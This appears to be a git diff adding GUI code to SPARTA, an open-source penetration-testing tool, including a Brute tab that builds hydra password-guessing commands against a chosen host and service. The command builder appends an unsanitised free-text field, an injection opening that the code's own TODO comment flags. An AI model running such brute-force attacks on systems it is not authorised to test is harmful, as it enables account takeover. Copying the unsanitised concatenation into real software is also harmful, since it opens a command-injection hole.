+ self.singlePassRadio = QtGui.QRadioButton() + self.label6 = QtGui.QLabel() + self.label6.setText('Password') + self.label6.setFixedWidth(70) + self.passwordsTextinput = QtGui.QLineEdit() + self.passwordsTextinput.setFixedWidth(125) + self.passwordsTextinput.setText(self.settings.brute_default_password) + self.passListRadio = QtGui.QRadioButton() + self.label7 = QtGui.QLabel() + self.label7.setText('Password list') + self.label7.setFixedWidth(90) + self.passlistTextinput = QtGui.QLineEdit() + self.passlistTextinput.setFixedWidth(125) + self.browsePasswordsButton = QPushButton('Browse') + self.browsePasswordsButton.setMaximumSize(80, 30) + + self.foundPasswordsRadio = QtGui.QRadioButton() + self.label10 = QtGui.QLabel() + self.label10.setText('Found passwords') + self.label10.setFixedWidth(115) + + self.passGroup = QtGui.QButtonGroup() + self.passGroup.addButton(self.singlePassRadio) + self.passGroup.addButton(self.passListRadio) + self.passGroup.addButton(self.foundPasswordsRadio) + self.foundPasswordsRadio.toggle() + + self.label8 = QtGui.QLabel() + self.label8.setText('Threads') + self.label8.setFixedWidth(60) + self.threadOptions = [] + for i in range(1, 129): + self.threadOptions.append(str(i)) + self.threadsComboBox = QtGui.QComboBox() + self.threadsComboBox.insertItems(0, self.threadOptions) + self.threadsComboBox.setMinimumContentsLength(3) + self.threadsComboBox.setMaxVisibleItems(3) + self.threadsComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.threadsComboBox.setCurrentIndex(15) + + self.hlayout3 = QtGui.QHBoxLayout() + self.hlayout3.addWidget(self.singlePassRadio) + self.hlayout3.addWidget(self.label6) + self.hlayout3.addWidget(self.passwordsTextinput) + self.hlayout3.addWidget(self.passListRadio) + self.hlayout3.addWidget(self.label7) + self.hlayout3.addWidget(self.passlistTextinput) + self.hlayout3.addWidget(self.browsePasswordsButton) + self.hlayout3.addWidget(self.foundPasswordsRadio) + self.hlayout3.addWidget(self.label10) + self.hlayout3.addStretch() + self.hlayout3.addWidget(self.label8) + self.hlayout3.addWidget(self.threadsComboBox) + #self.hlayout3.addStretch() + + #label6.setText('Try blank password') + self.checkBlankPass = QtGui.QCheckBox() + self.checkBlankPass.setText('Try blank password') + self.checkBlankPass.toggle() + #add 'try blank password' + #label7.setText('Try login as password') + self.checkLoginAsPass = QtGui.QCheckBox() + self.checkLoginAsPass.setText('Try login as password') + self.checkLoginAsPass.toggle() + #add 'try login as password' + #label8.setText('Loop around users') + self.checkLoopUsers = QtGui.QCheckBox() + self.checkLoopUsers.setText('Loop around users') + self.checkLoopUsers.toggle() + #add 'loop around users' + #label9.setText('Exit on first valid') + self.checkExitOnValid = QtGui.QCheckBox() + self.checkExitOnValid.setText('Exit on first valid') + self.checkExitOnValid.toggle() + #add 'exit after first valid combination is found' + self.checkVerbose = QtGui.QCheckBox() + self.checkVerbose.setText('Verbose') + + self.checkAddMoreOptions = QtGui.QCheckBox() + self.checkAddMoreOptions.setText('Additional Options') + + ### + self.labelPath = QtGui.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath.setFixedWidth(800) + self.labelPath.setText('/') + ### + + self.hlayout4 = QtGui.QHBoxLayout() + self.hlayout4.addWidget(self.checkBlankPass) + self.hlayout4.addWidget(self.checkLoginAsPass) + self.hlayout4.addWidget(self.checkLoopUsers) + self.hlayout4.addWidget(self.checkExitOnValid) + self.hlayout4.addWidget(self.checkVerbose) + self.hlayout4.addWidget(self.checkAddMoreOptions) + self.hlayout4.addStretch() + + self.layoutAddOptions = QtGui.QHBoxLayout() + self.layoutAddOptions.addWidget(self.labelPath) + self.labelPath.hide() + self.layoutAddOptions.addStretch() + + self.display = QtGui.QPlainTextEdit() + self.display.setReadOnly(True) + if self.settings.general_tool_output_black_background == 'True': + #self.display.setStyleSheet("background: rgb(0,0,0)") # black background + #self.display.setTextColor(QtGui.QColor('white')) # white font + p = self.display.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + self.display.setPalette(p) + self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + + self.vlayout = QtGui.QVBoxLayout() + self.vlayout.addLayout(self.hlayout) + self.vlayout.addLayout(self.hlayout4) + self.vlayout.addLayout(self.layoutAddOptions) + self.vlayout.addLayout(self.hlayout2) + self.vlayout.addLayout(self.hlayout3) + self.vlayout.addWidget(self.display) + self.setLayout(self.vlayout) + + # TODO: need to check all the methods that need an additional input field and add them here +# def showMoreOptions(self, text): +# if str(text) == "http-head": +# self.labelPath.show() +# else: +# self.labelPath.hide() + + def showMoreOptions(self): + if self.checkAddMoreOptions.isChecked(): + self.labelPath.show() + else: + self.labelPath.hide() + + def wordlistDialog(self, title='Choose username list'): + + if title == 'Choose username list': + filename = QtGui.QFileDialog.getOpenFileName(self, title, self.settings.brute_username_wordlist_path) + self.userlistTextinput.setText(str(filename)) + self.userListRadio.toggle() + else: + filename = QtGui.QFileDialog.getOpenFileName(self, title, self.settings.brute_password_wordlist_path) + self.passlistTextinput.setText(str(filename)) + self.passListRadio.toggle() + + def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): + + self.ip = self.ipTextinput.text() + self.port = self.portTextinput.text() + self.service = str(self.serviceComboBox.currentText()) + self.command = "hydra "+self.ip+" -s "+self.port+" -o " + self.outputfile = runningfolder+"/hydra/"+getTimestamp()+"-"+self.ip+"-"+self.port+"-"+self.service+".txt" + self.command += "\""+self.outputfile+"\"" # deal with paths with spaces + + #self.service = str(self.serviceComboBox.currentText()) + + #if not self.service == "snmp": # no username required for snmp + if not self.service in self.settings.brute_no_username_services.split(","): + if self.singleUserRadio.isChecked(): + self.command += " -l "+self.usersTextinput.text() + elif self.foundUsersRadio.isChecked(): + self.command += " -L \""+userlistPath+"\"" + else: + self.command += " -L \""+self.userlistTextinput.text()+"\"" + + #if not self.service == "smtp-enum": # no password required for smtp-enum + if not self.service in self.settings.brute_no_password_services.split(","): + if self.singlePassRadio.isChecked(): + + + #print self.passwordsTextinput.text() + #escaped_password = self.passwordsTextinput.text().replace('"', '\"') + escaped_password = self.passwordsTextinput.text().replace('"', '\"\"\"')#.replace("'", "\'") + #print escaped_password + self.command += " -p \""+escaped_password+"\"" + #self.command += " -p "+self.passwordsTextinput.text() + + elif self.foundPasswordsRadio.isChecked(): + self.command += " -P \""+passlistPath+"\"" + else: + self.command += " -P \""+self.passlistTextinput.text()+"\"" + + if self.checkBlankPass.isChecked(): + self.command += " -e n" + if self.checkLoginAsPass.isChecked(): + self.command += "s" + + elif self.checkLoginAsPass.isChecked(): + self.command += " -e s" + + if self.checkLoopUsers.isChecked(): + self.command += " -u" + + if self.checkExitOnValid.isChecked(): + self.command += " -f" + + if self.checkVerbose.isChecked(): + self.command += " -V" + + self.command += " -t "+str(self.threadsComboBox.currentText()) + + self.command += " "+self.service + +# if self.labelPath.isVisible(): # append the additional field's content, if it was visible + if self.checkAddMoreOptions.isChecked(): + self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? + + #command = "echo "+escaped_password+" > /tmp/hydra-sub.txt" + #os.system(unicode(command)) + return self.command + + def getPort(self): + return self.port + + def toggleRunButton(self): + if self.runButton.text() == 'Run': + self.runButton.setText('Stop') + else: + self.runButton.setText('Run') + + def resetDisplay(self): # used to be able to display the tool output in both the Brute tab and the tool display panel + self.display.setParent(None) + self.display = QtGui.QPlainTextEdit() + self.display.setReadOnly(True) + if self.settings.general_tool_output_black_background == 'True': + #self.display.setStyleSheet("background: rgb(0,0,0)") # black background + #self.display.setTextColor(QtGui.QColor('white')) # white font + p = self.display.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + self.display.setPalette(p) + self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + self.vlayout.addWidget(self.display) + +# dialog displayed when the user clicks on the advanced filters button +class FiltersDialog(QtGui.QDialog): + def __init__(self, parent=None): + QtGui.QDialog.__init__(self, parent) + self.setupLayout() + self.applyButton.clicked.connect(self.close) + self.cancelButton.clicked.connect(self.close) + + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Filters') + self.setFixedSize(640, 200) + + hostsBox = QGroupBox("Host Filters") + self.hostsUp = QCheckBox("Show up hosts") + self.hostsUp.toggle() + self.hostsDown = QCheckBox("Show down hosts") + self.hostsChecked = QCheckBox("Show checked hosts") + self.hostsChecked.toggle() + hostLayout = QVBoxLayout() + hostLayout.addWidget(self.hostsUp) + hostLayout.addWidget(self.hostsDown) + hostLayout.addWidget(self.hostsChecked) + hostsBox.setLayout(hostLayout) + + portsBox = QGroupBox("Port Filters") + self.portsOpen = QCheckBox("Show open ports") + self.portsOpen.toggle() + self.portsFiltered = QCheckBox("Show filtered ports") + self.portsClosed = QCheckBox("Show closed ports") + self.portsTcp = QCheckBox("Show tcp") + self.portsTcp.toggle() + self.portsUdp = QCheckBox("Show udp") + self.portsUdp.toggle() + servicesLayout = QVBoxLayout() + servicesLayout.addWidget(self.portsOpen) + servicesLayout.addWidget(self.portsFiltered) + servicesLayout.addWidget(self.portsClosed) + servicesLayout.addWidget(self.portsTcp) + servicesLayout.addWidget(self.portsUdp) + portsBox.setLayout(servicesLayout) + + keywordSearchBox = QGroupBox("Keyword Filters") + self.hostKeywordText = QLineEdit() + keywordLayout = QVBoxLayout() + keywordLayout.addWidget(self.hostKeywordText) + keywordSearchBox.setLayout(keywordLayout) + + hlayout = QtGui.QHBoxLayout() + hlayout.addWidget(hostsBox) + hlayout.addWidget(portsBox) + hlayout.addWidget(keywordSearchBox) + + buttonLayout = QtGui.QHBoxLayout() + self.applyButton = QPushButton('Apply', self) + self.applyButton.setMaximumSize(110, 30) + self.cancelButton = QPushButton('Cancel', self) + self.cancelButton.setMaximumSize(110, 30) + buttonLayout.addWidget(self.cancelButton) + buttonLayout.addWidget(self.applyButton) + + layout = QVBoxLayout() + layout.addLayout(hlayout) + layout.addLayout(buttonLayout) + self.setLayout(layout) + + def getFilters(self): + #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] + return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] + + def setCurrentFilters(self, filters): + if not self.hostsUp.isChecked() == filters[0]: + self.hostsUp.toggle() + + if not self.hostsDown.isChecked() == filters[1]: + self.hostsDown.toggle() + + if not self.hostsChecked.isChecked() == filters[2]: + self.hostsChecked.toggle() + + if not self.portsOpen.isChecked() == filters[3]: + self.portsOpen.toggle() + + if not self.portsFiltered.isChecked() == filters[4]: + self.portsFiltered.toggle() + + if not self.portsClosed.isChecked() == filters[5]: + self.portsClosed.toggle() + + if not self.portsTcp.isChecked() == filters[6]: + self.portsTcp.toggle() + + if not self.portsUdp.isChecked() == filters[7]: + self.portsUdp.toggle() + + self.hostKeywordText.setText(" ".join(filters[8])) + + + def setKeywords(self, keywords): + self.hostKeywordText.setText(keywords) + +# widget in which the host information is shown +class HostInformationWidget(QtGui.QWidget): + + def __init__(self, informationTab, parent=None): + QtGui.QWidget.__init__(self, parent) + self.informationTab = informationTab + self.setupLayout() + self.updateFields() # set default values + + def setupLayout(self): + self.HostStatusLabel = QtGui.QLabel() + + self.HostStateLabel = QtGui.QLabel() + self.HostStateText = QtGui.QLabel() + self.HostStateLayout = QtGui.QHBoxLayout() + self.HostStateLayout.addSpacing(20) + self.HostStateLayout.addWidget(self.HostStateLabel) + self.HostStateLayout.addWidget(self.HostStateText) + self.HostStateLayout.addStretch() + + self.OpenPortsLabel = QtGui.QLabel() + self.OpenPortsText = QtGui.QLabel() + self.OpenPortsLayout = QtGui.QHBoxLayout() + self.OpenPortsLayout.addSpacing(20) + self.OpenPortsLayout.addWidget(self.OpenPortsLabel) + self.OpenPortsLayout.addWidget(self.OpenPortsText) + self.OpenPortsLayout.addStretch() + + self.ClosedPortsLabel = QtGui.QLabel() + self.ClosedPortsText = QtGui.QLabel() + self.ClosedPortsLayout = QtGui.QHBoxLayout() + self.ClosedPortsLayout.addSpacing(20) + self.ClosedPortsLayout.addWidget(self.ClosedPortsLabel) + self.ClosedPortsLayout.addWidget(self.ClosedPortsText) + self.ClosedPortsLayout.addStretch() + + self.FilteredPortsLabel = QtGui.QLabel() + self.FilteredPortsText = QtGui.QLabel() + self.FilteredPortsLayout = QtGui.QHBoxLayout() + self.FilteredPortsLayout.addSpacing(20) + self.FilteredPortsLayout.addWidget(self.FilteredPortsLabel) + self.FilteredPortsLayout.addWidget(self.FilteredPortsText) + self.FilteredPortsLayout.addStretch() + ################### + self.AddressLabel = QtGui.QLabel() + + self.IP4Label = QtGui.QLabel() + self.IP4Text = QtGui.QLabel() + self.IP4Layout = QtGui.QHBoxLayout() + self.IP4Layout.addSpacing(20) + self.IP4Layout.addWidget(self.IP4Label) + self.IP4Layout.addWidget(self.IP4Text) + self.IP4Layout.addStretch() + + self.IP6Label = QtGui.QLabel() + self.IP6Text = QtGui.QLabel() + self.IP6Layout = QtGui.QHBoxLayout() + self.IP6Layout.addSpacing(20) + self.IP6Layout.addWidget(self.IP6Label) + self.IP6Layout.addWidget(self.IP6Text) + self.IP6Layout.addStretch() + + self.MacLabel = QtGui.QLabel() + self.MacText = QtGui.QLabel() + self.MacLayout = QtGui.QHBoxLayout() + self.MacLayout.addSpacing(20) + self.MacLayout.addWidget(self.MacLabel) + self.MacLayout.addWidget(self.MacText) + self.MacLayout.addStretch() + + self.dummyLabel = QtGui.QLabel() + self.dummyText = QtGui.QLabel() + self.dummyLayout = QtGui.QHBoxLayout() + self.dummyLayout.addSpacing(20) + self.dummyLayout.addWidget(self.dummyLabel) + self.dummyLayout.addWidget(self.dummyText) + self.dummyLayout.addStretch() + ######### + self.OSLabel = QtGui.QLabel() + + self.OSNameLabel = QtGui.QLabel() + self.OSNameText = QtGui.QLabel() + self.OSNameLayout = QtGui.QHBoxLayout() + self.OSNameLayout.addSpacing(20) + self.OSNameLayout.addWidget(self.OSNameLabel) + self.OSNameLayout.addWidget(self.OSNameText) + self.OSNameLayout.addStretch() + + self.OSAccuracyLabel = QtGui.QLabel() + self.OSAccuracyText = QtGui.QLabel() + self.OSAccuracyLayout = QtGui.QHBoxLayout() + self.OSAccuracyLayout.addSpacing(20) + self.OSAccuracyLayout.addWidget(self.OSAccuracyLabel) + self.OSAccuracyLayout.addWidget(self.OSAccuracyText) + self.OSAccuracyLayout.addStretch() + + font = QtGui.QFont() # in each different section + font.setBold(True) + self.HostStatusLabel.setText('Host Status') + self.HostStatusLabel.setFont(font) + self.HostStateLabel.setText("State:") + self.OpenPortsLabel.setText('Open Ports:') + self.ClosedPortsLabel.setText('Closed Ports:') + self.FilteredPortsLabel.setText('Filtered Ports:') + self.AddressLabel.setText('Addresses') + self.AddressLabel.setFont(font) + self.IP4Label.setText('IPv4:') + self.IP6Label.setText('IPv6:') + self.MacLabel.setText('MAC:') + self.OSLabel.setText('Operating System') + self.OSLabel.setFont(font) + self.OSNameLabel.setText('Name:') + self.OSAccuracyLabel.setText('Accuracy:') + ######### + self.vlayout_1 = QtGui.QVBoxLayout() + self.vlayout_2 = QtGui.QVBoxLayout() + self.vlayout_3 = QtGui.QVBoxLayout() + self.hlayout_1 = QtGui.QHBoxLayout() + + self.vlayout_1.addWidget(self.HostStatusLabel) + self.vlayout_1.addLayout(self.HostStateLayout) + self.vlayout_1.addLayout(self.OpenPortsLayout) + self.vlayout_1.addLayout(self.ClosedPortsLayout) + self.vlayout_1.addLayout(self.FilteredPortsLayout) + + self.vlayout_2.addWidget(self.AddressLabel) + self.vlayout_2.addLayout(self.IP4Layout) + self.vlayout_2.addLayout(self.IP6Layout) + self.vlayout_2.addLayout(self.MacLayout) + self.vlayout_2.addLayout(self.dummyLayout) + + self.hlayout_1.addLayout(self.vlayout_1) + self.hlayout_1.addSpacing(20) + self.hlayout_1.addLayout(self.vlayout_2) + + self.vlayout_3.addWidget(self.OSLabel) + self.vlayout_3.addLayout(self.OSNameLayout) + self.vlayout_3.addLayout(self.OSAccuracyLayout) + self.vlayout_3.addStretch() + + self.vlayout_4 = QtGui.QVBoxLayout() + self.vlayout_4.addLayout(self.hlayout_1) + self.vlayout_4.addSpacing(10) + self.vlayout_4.addLayout(self.vlayout_3) + + self.hlayout_4 = QtGui.QHBoxLayout(self.informationTab) + self.hlayout_4.addLayout(self.vlayout_4) + self.hlayout_4.insertStretch(-1,1) + self.hlayout_4.addStretch() + + def updateFields(self, status='', openPorts='', closedPorts='', filteredPorts='', ipv4='', ipv6='', macaddr='', osMatch='', osAccuracy=''): + self.HostStateText.setText(str(status)) + self.OpenPortsText.setText(str(openPorts)) + self.ClosedPortsText.setText(str(closedPorts)) + self.FilteredPortsText.setText(str(filteredPorts)) + self.IP4Text.setText(str(ipv4)) + self.IP6Text.setText(str(ipv6)) + self.MacText.setText(str(macaddr)) + self.OSNameText.setText(str(osMatch)) + self.OSAccuracyText.setText(str(osAccuracy)) diff --git a/ui/gui.py b/ui/gui.py new file mode 100644 index 00000000..39f2a462 --- /dev/null +++ b/ui/gui.py @@ -0,0 +1,364 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +#from PyQt4 import QtCore, QtGui +from ui.dialogs import * # for the screenshots (image viewer) + +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + +class Ui_MainWindow(object): + def setupUi(self, MainWindow): + MainWindow.setObjectName(_fromUtf8("MainWindow")) + MainWindow.resize(1010, 754) + + self.centralwidget = QtGui.QWidget(MainWindow) + self.centralwidget.setObjectName(_fromUtf8("centralwidget")) # do not change this name + self.gridLayout = QtGui.QGridLayout(self.centralwidget) + self.gridLayout.setObjectName(_fromUtf8("gridLayout")) + self.splitter_2 = QtGui.QSplitter(self.centralwidget) + self.splitter_2.setOrientation(QtCore.Qt.Vertical) + self.splitter_2.setObjectName(_fromUtf8("splitter_2")) + + self.MainTabWidget = QtGui.QTabWidget(self.splitter_2) + self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) + self.ScanTab = QtGui.QWidget() + self.ScanTab.setObjectName(_fromUtf8("ScanTab")) + self.gridLayout_2 = QtGui.QGridLayout(self.ScanTab) + self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) + self.splitter = QtGui.QSplitter(self.ScanTab) + self.splitter.setOrientation(QtCore.Qt.Horizontal) + self.splitter.setObjectName(_fromUtf8("splitter")) + + # size policies + self.sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) + self.sizePolicy.setHorizontalStretch(0) # this specifies that the widget will keep its width when the window is resized + self.sizePolicy.setVerticalStretch(0) + + self.sizePolicy2 = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) + self.sizePolicy2.setHorizontalStretch(1) # this specifies that the widget will expand its width when the window is resized + self.sizePolicy2.setVerticalStretch(0) + + self.setupLeftPanel() + self.setupRightPanel() + self.setupMainTabs() + self.setupBottomPanel() + + self.gridLayout.addWidget(self.splitter_2, 0, 0, 1, 1) + MainWindow.setCentralWidget(self.centralwidget) + + self.setupMenuBar(MainWindow) + self.retranslateUi(MainWindow) + self.setDefaultIndexes() + QtCore.QMetaObject.connectSlotsByName(MainWindow) + + def setupLeftPanel(self): + self.HostsTabWidget = QtGui.QTabWidget(self.splitter) + self.sizePolicy.setHeightForWidth(self.HostsTabWidget.sizePolicy().hasHeightForWidth()) + self.HostsTabWidget.setSizePolicy(self.sizePolicy) + self.HostsTabWidget.setObjectName(_fromUtf8("HostsTabWidget")) + + self.HostsTab = QtGui.QWidget() + self.HostsTab.setObjectName(_fromUtf8("HostsTab")) + self.keywordTextInput = QtGui.QLineEdit() + self.FilterApplyButton = QtGui.QToolButton() + self.searchIcon = QtGui.QIcon() + self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.FilterApplyButton.setIconSize(QtCore.QSize(29,21)) + self.FilterApplyButton.setIcon(self.searchIcon) + self.FilterAdvancedButton = QtGui.QToolButton() + self.advancedIcon = QtGui.QIcon() + self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.FilterAdvancedButton.setIconSize(QtCore.QSize(19,19)) + self.FilterAdvancedButton.setIcon(self.advancedIcon) + self.vlayout = QtGui.QVBoxLayout(self.HostsTab) + self.vlayout.setObjectName(_fromUtf8("vlayout")) + self.HostsTableView = QtGui.QTableView(self.HostsTab) + self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) + self.vlayout.addWidget(self.HostsTableView) + + self.addHostsOverlay = QtGui.QTextEdit(self.HostsTab) # the overlay widget that appears over the hosttableview + self.addHostsOverlay.setObjectName(_fromUtf8("addHostsOverlay")) + self.addHostsOverlay.setText('Click here to add host(s) to scope') + self.addHostsOverlay.setReadOnly(True) + self.addHostsOverlay.setContextMenuPolicy(QtCore.Qt.NoContextMenu) + + ### + self.addHostsOverlay.setFont(QtGui.QFont('', 12)) + self.addHostsOverlay.setAlignment(Qt.AlignHCenter|Qt.AlignVCenter) + ### + + self.vlayout.addWidget(self.addHostsOverlay) + self.hlayout = QtGui.QHBoxLayout() + self.hlayout.addWidget(self.keywordTextInput) + self.hlayout.addWidget(self.FilterApplyButton) + self.hlayout.addWidget(self.FilterAdvancedButton) + self.vlayout.addLayout(self.hlayout) + self.HostsTabWidget.addTab(self.HostsTab, _fromUtf8("")) + + self.ServicesLeftTab = QtGui.QWidget() + self.ServicesLeftTab.setObjectName(_fromUtf8("ServicesLeftTab")) + self.horizontalLayout_2 = QtGui.QHBoxLayout(self.ServicesLeftTab) + self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) + self.ServiceNamesTableView = QtGui.QTableView(self.ServicesLeftTab) + self.ServiceNamesTableView.setObjectName(_fromUtf8("ServiceNamesTableView")) + self.horizontalLayout_2.addWidget(self.ServiceNamesTableView) + self.HostsTabWidget.addTab(self.ServicesLeftTab, _fromUtf8("")) + + self.ToolsTab = QtGui.QWidget() + self.ToolsTab.setObjectName(_fromUtf8("ToolsTab")) + self.horizontalLayout_3 = QtGui.QHBoxLayout(self.ToolsTab) + self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3")) + self.ToolsTableView = QtGui.QTableView(self.ToolsTab) + self.ToolsTableView.setObjectName(_fromUtf8("ToolsTableView")) + self.horizontalLayout_3.addWidget(self.ToolsTableView) + self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) + + def setupRightPanel(self): + self.ServicesTabWidget = QtGui.QTabWidget() + self.ServicesTabWidget.setEnabled(True) + self.sizePolicy2.setHeightForWidth(self.ServicesTabWidget.sizePolicy().hasHeightForWidth()) + self.ServicesTabWidget.setSizePolicy(self.sizePolicy2) + self.ServicesTabWidget.setObjectName(_fromUtf8("ServicesTabWidget")) + self.splitter.addWidget(self.ServicesTabWidget) + + ### + + self.splitter_3 = QtGui.QSplitter() + self.splitter_3.setOrientation(QtCore.Qt.Horizontal) + self.splitter_3.setObjectName(_fromUtf8("splitter_3")) + self.splitter_3.setSizePolicy(self.sizePolicy2) # this makes the tools tab stay the same width when resizing the window + + ### + + self.ToolHostsWidget = QtGui.QWidget() + self.ToolHostsWidget.setObjectName(_fromUtf8("ToolHostsTab")) + self.ToolHostsLayout = QtGui.QVBoxLayout(self.ToolHostsWidget) + self.ToolHostsLayout.setObjectName(_fromUtf8("verticalLayout")) + self.ToolHostsTableView = QtGui.QTableView(self.ToolHostsWidget) + self.ToolHostsTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.ToolHostsLayout.addWidget(self.ToolHostsTableView) + self.splitter_3.addWidget(self.ToolHostsWidget) + + self.DisplayWidget = QtGui.QWidget() + self.DisplayWidget.setObjectName('ToolOutput') + self.DisplayWidget.setSizePolicy(self.sizePolicy2) + #self.toolOutputTextView = QtGui.QTextEdit(self.DisplayWidget) + self.toolOutputTextView = QtGui.QPlainTextEdit(self.DisplayWidget) + self.toolOutputTextView.setReadOnly(True) + self.DisplayWidgetLayout = QtGui.QHBoxLayout(self.DisplayWidget) + self.DisplayWidgetLayout.addWidget(self.toolOutputTextView) + self.splitter_3.addWidget(self.DisplayWidget) + + self.ScreenshotWidget = ImageViewer() + self.ScreenshotWidget.setObjectName('Screenshot') + self.ScreenshotWidget.scrollArea.setSizePolicy(self.sizePolicy2) + self.ScreenshotWidget.scrollArea.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) + self.splitter_3.addWidget(self.ScreenshotWidget.scrollArea) + + self.splitter.addWidget(self.splitter_3) + + ### + + self.ServicesRightTab = QtGui.QWidget() + self.ServicesRightTab.setObjectName(_fromUtf8("ServicesRightTab")) + self.verticalLayout = QtGui.QVBoxLayout(self.ServicesRightTab) + self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) + self.ServicesTableView = QtGui.QTableView(self.ServicesRightTab) + self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.verticalLayout.addWidget(self.ServicesTableView) + self.ServicesTabWidget.addTab(self.ServicesRightTab, _fromUtf8("")) + + self.ScriptsTab = QtGui.QWidget() + self.ScriptsTab.setObjectName(_fromUtf8("ScriptsTab")) + self.horizontalLayout_6 = QtGui.QHBoxLayout(self.ScriptsTab) + self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6")) + + self.splitter_4 = QtGui.QSplitter(self.ScriptsTab) + self.splitter_4.setOrientation(QtCore.Qt.Horizontal) + self.splitter_4.setObjectName(_fromUtf8("splitter_4")) + + self.ScriptsTableView = QtGui.QTableView() + self.ScriptsTableView.setObjectName(_fromUtf8("ScriptsTableView")) + self.splitter_4.addWidget(self.ScriptsTableView) + + self.ScriptsOutputTextEdit = QtGui.QPlainTextEdit() + self.ScriptsOutputTextEdit.setObjectName(_fromUtf8("ScriptsOutputTextEdit")) + self.ScriptsOutputTextEdit.setReadOnly(True) + self.splitter_4.addWidget(self.ScriptsOutputTextEdit) + self.horizontalLayout_6.addWidget(self.splitter_4) + self.ServicesTabWidget.addTab(self.ScriptsTab, _fromUtf8("")) + + self.InformationTab = QtGui.QWidget() + self.InformationTab.setObjectName(_fromUtf8("InformationTab")) + self.ServicesTabWidget.addTab(self.InformationTab, _fromUtf8("")) + + self.NotesTab = QtGui.QWidget() + self.NotesTab.setObjectName(_fromUtf8("NotesTab")) + self.horizontalLayout_4 = QtGui.QHBoxLayout(self.NotesTab) + self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4")) + #self.NotesTextEdit = QtGui.QTextEdit(self.NotesTab) + self.NotesTextEdit = QtGui.QPlainTextEdit(self.NotesTab) + self.NotesTextEdit.setObjectName(_fromUtf8("NotesTextEdit")) + self.horizontalLayout_4.addWidget(self.NotesTextEdit) + self.ServicesTabWidget.addTab(self.NotesTab, _fromUtf8("")) + + def setupMainTabs(self): + self.gridLayout_2.addWidget(self.splitter, 0, 0, 1, 1) + self.gridLayout_3 = QtGui.QGridLayout() + self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) + self.gridLayout_2.addLayout(self.gridLayout_3, 0, 0, 1, 1) + self.MainTabWidget.addTab(self.ScanTab, _fromUtf8("")) + + self.BruteTab = QtGui.QWidget() + self.BruteTab.setObjectName(_fromUtf8("BruteTab")) + self.horizontalLayout_7 = QtGui.QHBoxLayout(self.BruteTab) + self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7")) + self.BruteTabWidget = QtGui.QTabWidget(self.BruteTab) + self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget")) + self.horizontalLayout_7.addWidget(self.BruteTabWidget) + self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) + + def setupBottomPanel(self): + self.BottomTabWidget = QtGui.QTabWidget(self.splitter_2) + self.BottomTabWidget.setSizeIncrement(QtCore.QSize(0, 0)) + self.BottomTabWidget.setBaseSize(QtCore.QSize(0, 0)) + self.BottomTabWidget.setObjectName(_fromUtf8("BottomTabWidget")) + + self.LogTab = QtGui.QWidget() + self.LogTab.setObjectName(_fromUtf8("LogTab")) + self.horizontalLayout_5 = QtGui.QHBoxLayout(self.LogTab) + self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5")) + self.ProcessesTableView = QtGui.QTableView(self.LogTab) + self.ProcessesTableView.setObjectName(_fromUtf8("ProcessesTableView")) + self.horizontalLayout_5.addWidget(self.ProcessesTableView) + self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) +# self.TerminalTab = QtGui.QWidget() +# self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) +# self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) +# self.PythonTab = QtGui.QWidget() +# 